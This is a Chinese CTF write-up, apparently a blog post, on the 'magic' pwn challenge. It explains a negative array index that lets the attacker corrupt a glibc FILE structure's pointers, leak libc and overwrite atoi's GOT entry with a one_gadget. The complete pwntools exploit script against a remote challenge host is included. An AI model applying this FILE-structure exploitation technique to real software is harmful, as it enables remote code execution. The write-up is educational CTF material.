CTF-PWN-magic (FILE结构体攻击)

程序综述

checksec 查看程序保护

supergate@ubuntu:~/Desktop/Pwn$ checksec pwn
[*] '/home/supergate/Desktop/Pwn/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

发现程序除了PIE其他保护都打开了
对程序的功能进行分析发现,是一个菜单题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice; // eax
  const char **v5; // [rsp+0h] [rbp-20h]
  signed int v6; // [rsp+18h] [rbp-8h]

  v5 = argv;
  v6 = 1;
  init();//通过fopen函数初始化了一个FILE文件结构
  print_menu();
  do
  {
    printf("choice>> ", v5);
    choice = read_int();
    if ( choice == 2 )
    {
      wizard_spell();
      continue;
    }
    if ( choice <= 2 )
    {
      if ( choice == 1 )
      {
        create_wizard();
        continue;
      }
      goto LABEL_16;
    }
    if ( choice != 3 )
    {
      if ( choice == 4 )
      {
        fclose(log_file);
        exit(0);
      }
LABEL_16:
      puts("Invalid choice!");
      continue;
    }
    if ( v6 )
      final_chance();
    v6 = 0;
  }
  while ( left_wizard );
  puts("No wizard any more!");
  fclose(log_file);
  return 0;
}

提供了三个选项

  • 创建一个固定大小的chunk(create)
  • 选择一个chunk,如果某一位符合条件的话就进行一些操作(spell)
  • 退出

漏洞分析

spell函数中的具体操作如下

unsigned __int64 wizard_spell()
{
  int v0; // ST04_4
  char v2; // [rsp+3h] [rbp-3Dh]
  __int64 wz_list; // [rsp+8h] [rbp-38h]
  char v4; // [rsp+10h] [rbp-30h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Who will spell:");
  v2 = read_int();
  if ( !wizards[v2] || v2 > 2 )
  {
    puts("evil wizard!");
    exit(0);
  }
  wz_list = wizards[v2];
  if ( *(_QWORD *)(wz_list + 0x28) > 0LL )
  {
    if ( *(_QWORD *)(wz_list + 0x28) <= 49LL )
    {
      puts("fail!");
    }
    else
    {
      printf("Spell name:");
      v0 = my_read(&v4, 0x20uLL);
      write_spell(&v4, v0);
      read_spell();
      *(_QWORD *)(wz_list + 0x28) -= 50LL;
      puts("success!");
    }
  }
  else
  {
    puts("muggle!");
    strcpy((char *)(wz_list + 8), desc_muggle);
    --left_wizard;
  }
  return __readfsqword(0x28u) ^ v5;
}

在对输入的下标进行check的时候,没有判断下标下界,导致可以输入负数而访问wizards数组上方的数据,而之前的FILE结构log_file正好在wizards数组前面

.bss:00000000006020E0 log_file        dq ?                    ; DATA XREF: main:loc_400A3D↑r
.bss:00000000006020E0                                         ; main+D2↑r ...
.bss:00000000006020E8                 align 10h
.bss:00000000006020F0                 public wizards
.bss:00000000006020F0 ; __int64 wizards[3]
.bss:00000000006020F0 wizards         dq ?                    ; DATA XREF: create_wizard+1D↑r
.bss:00000000006020F0                                         ; create_wizard+C2↑w ...

我们发现只要输入-2,则可以访问到log_file
并且其中write_spellread_spell中会分别用到fwritefread,这正好为我们对FILE结构体进行攻击提供了便利。但是要注意需要先spell一次正常的chunk来初始化log_file数据,否则会被muggle掉

对FILE结构体的介绍可以参考这一篇文章

我们发现,上述函数有这样一句话

*(_QWORD *)(wz_list + 0x28) -= 50LL;

而当输入-2时,wz_list正好为log_file,根据FILE文件结构体,wz_lsit+0x28指向的是_IO_write_ptr
因此,我们可以多次对_IO_write_ptr进行修改,将其修改为log_file开头,这样就控制了整个log_file结构,就达到了任意地址读写的目的。

考虑构造以下操作

for i in range(8):
    spell(-2,'\x00')
spell(-2,'\x00'*13)
for i in range(3):
    spell(-2,'\x00')
spell(-2,'\x00'*9)
spell(-2,'\x00')

需要注意两个地方:

  • spell的时候至少会输入一个字节,而输入了n个字节会导致_IO_write_ptr加n,所以实际上一次最多能够使得_IO_write_ptr减去49
  • 每次输入字符串的时候会输入到_IO_write_ptr指向的地址,而file结构体和下方的chunk的值本身不能被改变,否则会出现一些奇怪的错误。所以每次spell的长度都需要构造,具体输入长度需要根据调试确定

通过上面的操作,在下次write_spell的时候,即调用fwrite函数之前,log_fiel的FILE结构是这个样子的

pwndbg> x/100gx 0x687000
0x687000:	0x0000000000000000	0x0000000000000231
0x687010:	0x00000000fbad24a8	0x0000000000687480
0x687020:	0x00000000006882a0	0x00000000006872a0
0x687030:	0x00000000006872a0	0x0000000000687005  <========  0x687038 _IO_write_ptr 
0x687040:	0x00000000006872a0	0x00000000006872a0
0x687050:	0x00000000006882a0	0x0000000000000000
0x687060:	0x0000000000000000	0x0000000000000000
0x687070:	0x0000000000000000	0x00007f8be3e82540
0x687080:	0x0000000000000003	0x0000000000000000
0x687090:	0x0000000000000000	0x00000000006870f0
0x6870a0:	0xffffffffffffffff	0x0000000000000000
0x6870b0:	0x0000000000687100	0x0000000000000000
0x6870c0:	0x0000000000000000	0x0000000000000000
0x6870d0:	0x00000000ffffffff	0x0000000000000000
0x6870e0:	0x0000000000000000	0x00007f8be3e806e0
0x6870f0:	0x0000000000000000	0x0000000000000000
0x687100:	0x0000000000000000	0x0000000000000000
0x687110:	0x0000000000000000	0x0000000000000000
0x687120:	0x0000000000000000	0x0000000000000000
0x687130:	0x0000000000000000	0x0000000000000000
0x687140:	0x0000000000000000	0x0000000000000000
0x687150:	0x0000000000000000	0x0000000000000000
0x687160:	0x0000000000000000	0x0000000000000000
0x687170:	0x0000000000000000	0x0000000000000000
0x687180:	0x0000000000000000	0x0000000000000000
0x687190:	0x0000000000000000	0x0000000000000000
0x6871a0:	0x0000000000000000	0x0000000000000000
0x6871b0:	0x0000000000000000	0x0000000000000000
0x6871c0:	0x0000000000000000	0x0000000000000000
0x6871d0:	0x0000000000000000	0x0000000000000000
0x6871e0:	0x0000000000000000	0x0000000000000000
0x6871f0:	0x0000000000000000	0x0000000000000000
0x687200:	0x0000000000000000	0x0000000000000000
0x687210:	0x0000000000000000	0x0000000000000000
0x687220:	0x0000000000000000	0x0000000000000000
0x687230:	0x00007f8be3e80260	0x0000000000000041  <========= wizard 0
0x687240:	0x0000000000687280	0x00006472617a6957
0x687250:	0x0000000000000000	0x0000000000000000
0x687260:	0x0000000000000000	0x00000000000002ee
0x687270:	0x0000000000000000	0x0000000000000021
0x687280:	0x0000000a61616161	0x0000000000000000
0x687290:	0x0000000000000000	0x0000000000001011
0x6872a0:	0x9aa590dd05d6aa02	0x513b6380ccbf219e
0x6872b0:	0xc6d55d59824a1c5f	0xdc8209c42fc0989c
0x6872c0:	0xed4acb3d3587db7d	0x9cc9b9f930f85338
0x6872d0:	0x0ba949fdfe9aaaaa	0x84913008ede9b8e5
0x6872e0:	0x9ed485bba1a57e12	0xd65b2624dc64b5d0
0x6872f0:	0xf3614d4b31f9ab48	0x0267155720cb36f5
0x687300:	0x9edefb9ff910d683	0xa83c487068b107a2
0x687310:	0xf178e4a5f81dcb20	0x86bde6dc7e73ea98

因此,我们现在需要泄露libc地址,所以只需要修改_IO_read_ptratoi_got就可以了,因此构造以下代码

payload='\x00'*3+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)
payload=p64(elf.got['atoi'])+p64(elf.got['atoi']+0x100)
spell(0,payload)
atoi_addr=u64(p.recv(8))
log.info("atoi address =======> %x"%atoi_addr)

注意第三排之所以是+0x100,而不是+8,正是为了避免_IO_read_end==_IO_read_ptr,而导致相关指针被重置的情况

[*] atoi address =======> 7f8be3af3e80

成功的泄露了libc地址,所以可考虑修改atoi.got,改为system.got即可
如果要做到这一点,我们需要把_IO_write_ptr修改为atoi.got,尝试构造以下代码

payload=p64(elf.got['atoi'])*3+p64(elf.got['atoi']+8)
spell(0,payload)

查看执行完毕后的FILE结构

pwndbg> x/100gx 0x25a1000
0x25a1000:	0x0000000000000000	0x0000000000000231
0x25a1010:	0x00000000fbad24a8	0x00000000006020a0
0x25a1020:	0x0000000000602180	0x0000000000602080
0x25a1030:	0x0000000000602080	0x00000000025a1048<=====0x25a1038 _IO_write_ptr
0x25a1040:	0x0000000000602088	0x00000000025a12a0

发现除了_IO_write_ptr其他的地址都正确被写入。
经过动态调试后可以知道,在跟进fwrite之后,会调用函数_IO_new_file_xsputn,这个函数内部会将_IO_write_ptr写回原先正常的地址。由此,我们不能通过 fwrite 来对_IO_write_ptr 做修改,我们应该借助 fread 来修_IO_write_ptr。

为了达到该目的,我们需要构造以下条件:

  1. _IO_read_ptr>=_IO_read_end,由于接下来调用fread函数就会进入_IO_new_file_underflow,因此我们需要满足这个条件,从而将所有指针都指向_IO_buf_base
  2. 在满足条件1的情况下,我们可以构造_IO_buf_base,由于_IO_write_ptr也是指向_IO_buf_base的,所以相当于可以任意地址写了
  3. 为了修改上述指针,我们需要保证在修改过程中_IO_write_ptr<_IO_write_end

基于此,构造代码如下

##### flag
# 先将_IO_write_ptr上移,方法同上
# 但是要注意保证每个指针都是NULL或者是正确指针,否则会炸
# 因此这里使用p64(0)*2,内存对齐
spell(-2,p64(0)*2)
payload='\x00'*2+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)

##### read_ptr+read_end+read_base
# 下面这一段代码泄露heap基地址,这样就可以修改_IO_write_end,从而满足条件3
# 注意logfile_addr+0x40是为满足条件1做铺垫
# 因为每次调用fread都是0x20字节,所以两轮(本次和下次)调用后 
# _IO_read_ptr+=0x40
# 就能够刚好满足条件1
payload=p64(logfile_addr)+p64(logfile_addr+0x40)+p64(logfile_addr)
spell(0,payload)
heap_addr=u64(p.recv(8))-0x10
log.info("heap address =======> %x"%heap_addr)

##### write_base+write_ptr+write_end
# 主要是为了修改write_end,这里不一定必须要为0x100
# 只要满足_buf_base和_buf_end在[write_ptr,write_end]范围内即可
payload=p64(heap_addr+0x100)*3
spell(0,payload)

##### buf_base+buf_end
# 为了满足条件2
# 之所以不直接赋值atoi的got地址,是因为现在所有指针都指向_IO_buf_base
# 这样的话_IO_write_ptr==_IO_write_end,是无法在atoi.got写入的
# 所以可以先指向atoi.got,通过spell(-2,'\x00'*n)可以构造
# 使得write_ptr指向atoi.got
payload=p64(elf.got['atoi']+49*3+1)+p64(elf.got['atoi']+49*3+1+0x100)
spell(0,payload)

至此,我们就可以通过fwrite来向atoi的got写入内容了

exp

from pwn import *
from LibcSearcher import *

context.log_level='debug'
#p=process('./pwn')
p=remote('111.198.29.45',34475)
elf=ELF('./pwn')
logfile_addr=0x6020E0

def create(name):
    p.sendlineafter('>> ','1')
    p.sendlineafter('name:',name)

def spell(idx,content):
    p.sendlineafter('>> ','2')
    p.sendlineafter('spell:',str(idx))
    p.sendafter('name:',content)

create('aaaa')
spell(0,'bbbb')

for i in range(8):
    spell(-2,'\x00')
spell(-2,'\x00'*13)
for i in range(3):
    spell(-2,'\x00')
spell(-2,'\x00'*9)
spell(-2,'\x00')

payload='\x00'*3+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)
payload=p64(elf.got['atoi'])+p64(elf.got['atoi']+0x100)
spell(0,payload)
atoi_addr=u64(p.recv(8))

obj=LibcSearcher('atoi',atoi_addr)
system_addr=atoi_addr-obj.dump('atoi')+obj.dump('system')
bin_sh_addr=atoi_addr-obj.dump('atoi')+obj.dump('str_bin_sh')
gadget_addr=atoi_addr-obj.dump('atoi')+0xf1147

##### flag
spell(-2,p64(0)*2)
payload='\x00'*2+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)

##### read_ptr+read_end+read_base
payload=p64(logfile_addr)+p64(logfile_addr+0x40)+p64(logfile_addr)
spell(0,payload)
heap_addr=u64(p.recv(8))-0x10
log.info("heap address =======> %x"%heap_addr)

##### write_base+write_ptr+write_end
payload=p64(heap_addr+0x100)*3
spell(0,payload)

##### buf_base+buf_end
payload=p64(elf.got['atoi']+49*3+1)+p64(elf.got['atoi']+49*3+1+0x100)
spell(0,payload)

#gdb.attach(p)
spell(-2,'\x00')
spell(-2,chr((heap_addr>>16)&0xff))
spell(-2,'\x0f')
spell(0,p64(gadget_addr))

p.interactive()

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值